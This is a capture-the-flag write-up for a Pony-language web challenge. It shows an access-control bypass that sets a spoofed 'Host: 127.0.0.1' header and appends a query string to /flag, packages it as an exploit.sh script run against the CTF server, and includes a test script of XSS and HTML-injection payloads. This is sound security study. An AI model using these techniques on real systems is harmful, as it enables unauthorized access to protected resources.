//Codename Neigh
Author: xseven
Category: Web
Difficulty: Medium
Flag: nullctf{p3rh4ps_my_p0ny_!s_s0mewh3re_3lse_:(}
>Challenge Description
Beyond the known chronometers lies the Temporal Nexus. Within its databanks, a desperate message echoes: a time traveler's plea for his lost companion, Neigh, vanished into the mists of history. Explore restricted archives, consult paradox guides, and perhaps, lend your eyes to a search that spans epochs.
Remote: http://public.ctf.r0devnull.team:3002/
![[Pasted image 20251206014319.png]]
>Initial Reconnaissance
We're given a zip file containing the challenge files. Let's extract and explore:
unzip codename_neigh.zip
ls -la
Dockerfile
docker-compose.yml
app/
├── main.pony
└── public/
├── index.html
├── pony.html
├── report.html
├── flag.html
├── error.html
└── style.css
Interesting! This challenge uses Pony, a relatively uncommon programming language. The main application logic is in app/main.pony.
>Source Code Analysis
Understanding the Application
Looking at main.pony, we can see it's a web server using the Jennet framework with several routes:
let server =
Jennet(tcplauth, env.out)
.> serve_file(fileauth, "/", "public/index.html")
.> serve_file(fileauth, "/pony", "public/pony.html")
.> post("/pony/find", PonyFind(fileauth))
.> get("/flag", F(fileauth))
.> get("/:name", H(fileauth))
The routes are:
-
/- Serves index.html -
/pony- Serves pony.html (missing pony report form) -
/pony/find- POST endpoint for form submission -
/flag- Our target! -
/:name- Catch-all route
The Flag Endpoint - Finding the Vulnerability
Let's examine the /flag handler (class F):
class F is RequestHandler
let _fileauth: FileAuth
new val create(fileauth: FileAuth) =>
_fileauth = fileauth
fun apply(ctx: Context): Context iso^ =>
var conn: String = ""
var body = "[REDACTED]".array()
try
conn = ctx.request.header("Host") as String
end
let path: String = ctx.request.uri().string()
if (conn == "127.0.0.1") and (path != "/flag") and (path != "flag") then
let fpath = FilePath(_fileauth, "public/flag.html")
with file = File(fpath) do
body = file.read_string(file.size()).string().array()
end
end
ctx.respond(
StatusResponse(StatusOK, [("Content-Length", body.size().string())]),
body
)
consume ctx
Key Observations:
-
By default, the response body is
"[REDACTED]" -
To get the actual flag, we need to satisfy this condition:
```pony
if (conn == "127.0.0.1") and (path != "/flag") and (path != "flag")
```
- This means:
- conn (Host header) must equal "127.0.0.1"
- path must NOT equal "/flag" or "flag"
The Vulnerability: The path check uses exact string comparison! If we can make the path different from /flag while still accessing the /flag endpoint, we can bypass this check.
>Local Testing Setup
First, let's build and run the application locally:
Fix docker-compose.yml
The original docker-compose.yml had a version issue. Update it:
version: '3.8'
services:
neigh:
build:
context: .
dockerfile: Dockerfile
ports:
- "8081:8081"
Build and Run
# Build the Docker image
docker build -t codename-neigh .
# Run the container
docker run -p 8081:8081 --name codename-neigh codename-neigh
The server should start on http://localhost:8081.
>Exploitation
Testing the Vulnerability
Let's test accessing /flag normally:
curl http://localhost:8081/flag
Response: [REDACTED]
Now let's try with the Host header set to 127.0.0.1:
curl -H "Host: 127.0.0.1" http://localhost:8081/flag
Response: Still [REDACTED] because the path is exactly /flag.
The Bypass - Query Parameters!
The key insight: What if we add a query parameter?
When we access /flag?x, the URI becomes /flag?x, which is NOT equal to /flag!
curl -H "Host: 127.0.0.1" "http://localhost:8081/flag?x"
Response:
<!DOCTYPE html>
<html lang="en">
<body>
<p>No pony here but you did find the flag:</p>
<br>
<b>nullctf{secret}</b>
</body>
</html>
🎉 Success! The local flag is revealed!
Why This Works
The vulnerability exists because:
-
The code checks if
path != "/flag"using exact string comparison -
When we add a query parameter,
ctx.request.uri().string()returns the full URI including the query string -
/flag?x≠/flag, so the condition passes -
The routing still matches the
/flagendpoint because routers typically ignore query parameters for route matching
>Automated Exploit Script
I created an automated exploit script for easy exploitation:
exploit.sh
#!/bin/bash
# Codename Neigh CTF Challenge Exploit
# The vulnerability is in the /flag endpoint check
# It checks: if (conn == "127.0.0.1") and (path != "/flag") and (path != "flag")
# By adding a query parameter, the path becomes "/flag?x" which bypasses the check
if [ -z "$1" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 http://public.ctf.r0devnull.team:3002"
exit 1
fi
TARGET="$1"
echo "[*] Exploiting Codename Neigh challenge..."
echo "[*] Target: $TARGET"
echo ""
echo "[*] Sending request with Host: 127.0.0.1 and query parameter..."
echo ""
curl -s -H "Host: 127.0.0.1" "${TARGET}/flag?x"
echo ""
echo ""
echo "[*] Done!"
Usage
chmod +x exploit.sh
./exploit.sh http://localhost:8081
>Remote Exploitation
Now let's attack the remote server:
./exploit.sh http://public.ctf.r0devnull.team:3002
Output:
[*] Exploiting Codename Neigh challenge...
[*] Target: http://public.ctf.r0devnull.team:3002
[*] Sending request with Host: 127.0.0.1 and query parameter...
<!DOCTYPE html>
<html lang="en">
<body>
<p>No pony here but you did find the flag:</p>
<br>
<b>nullctf{p3rh4ps_my_p0ny_!s_s0mewh3re_3lse_:(}</b>
</body>
</html>
[*] Done!
>Flag
nullctf{p3rh4ps_my_p0ny_!s_s0mewh3re_3lse_:(}
>Additional Testing Script
During my analysis, I also created a comprehensive testing script to explore different injection vectors:
test_exploit.sh
#!/bin/bash
# Test 1: Basic injection
echo "=== Test 1: Basic HTML injection ==="
curl -s -X POST http://localhost:8081/pony/find \
-d 'reporterName=test&sightingLocation=here&contactMethod=email&message=<h1>INJECTED</h1>' \
| grep -A2 "Message:"
# Test 2: Try to access flag via iframe
echo -e "\n=== Test 2: Iframe injection ==="
curl -s -X POST http://localhost:8081/pony/find \
-d 'reporterName=test&sightingLocation=here&contactMethod=email&message=<iframe src="/flag"></iframe>' \
| grep -A2 "Message:"
# Test 3: Try script injection
echo -e "\n=== Test 3: Script injection ==="
curl -s -X POST http://localhost:8081/pony/find \
-d 'reporterName=test&sightingLocation=here&contactMethod=email&message=<script>alert(1)</script>' \
| grep -A2 "Message:"
# Test 4: Check if we can inject into other fields
echo -e "\n=== Test 4: Inject in reporterName ==="
curl -s -X POST http://localhost:8081/pony/find \
-d 'reporterName=<img src=x onerror=alert(1)>&sightingLocation=here&contactMethod=email&message=test' \
| grep -A2 "Designation:"
While this script revealed that the /pony/find endpoint had template injection vulnerabilities (SSTI), it turned out to be a rabbit hole. The real vulnerability was much simpler!
>Lessons Learned
-
Don't Overcomplicate: Sometimes the simplest vulnerabilities are the most effective. I initially explored SSTI and other complex attacks, but the solution was a simple query parameter bypass.
-
Read the Code Carefully: The exact string comparison in the path check was the key. Modern frameworks often normalize paths, but this custom check didn't.
-
Test Assumptions: Always test your assumptions about how web frameworks handle URIs, query parameters, and routing.
-
Uncommon Languages: Challenges using less common languages like Pony can be intimidating, but the vulnerabilities are often similar to those in mainstream languages.
>Vulnerability Classification
-
Type: Access Control Bypass / Path Traversal Variant
-
CWE: CWE-284 (Improper Access Control)
-
OWASP: A01:2021 - Broken Access Control
>Timeline
-
Initial Analysis - Extracted files, identified Pony language application
-
Code Review - Found the
/flagendpoint with Host and path checks -
Local Setup - Built and ran Docker container locally
-
Vulnerability Discovery - Realized query parameters bypass the path check
-
Local Exploitation - Successfully retrieved local flag
-
Remote Exploitation - Applied same technique to remote server
-
Flag Captured -
nullctf{p3rh4ps_my_p0ny_!s_s0mewh3re_3lse_:(}
>Conclusion
This challenge was a great reminder that security vulnerabilities don't always require complex exploitation techniques. A simple understanding of how web servers parse URIs and a careful reading of the source code led to a straightforward bypass. The use of Pony language added an interesting twist, but the underlying vulnerability was language-agnostic.
The pony may still be lost in time, but at least we found the flag! 🐴
Tools Used:
-
curl
-
Docker
-
bash
-
Basic web exploitation knowledge
References:
-
Pony Language: https://www.ponylang.io/
-
Jennet Web Framework: https://github.com/theodus/jennet
-
OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/